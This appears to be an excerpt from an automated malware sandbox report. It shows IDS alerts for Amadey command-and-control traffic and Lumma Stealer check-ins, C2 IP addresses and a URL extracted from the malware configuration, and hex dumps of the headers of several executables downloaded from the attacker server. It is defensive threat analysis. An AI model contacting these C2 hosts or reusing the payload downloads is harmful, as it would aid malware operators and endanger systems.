Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:62702 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:62703
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:62705 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:62708 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:62709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:62709 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.8:62696 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.8:62267 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 17:00:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 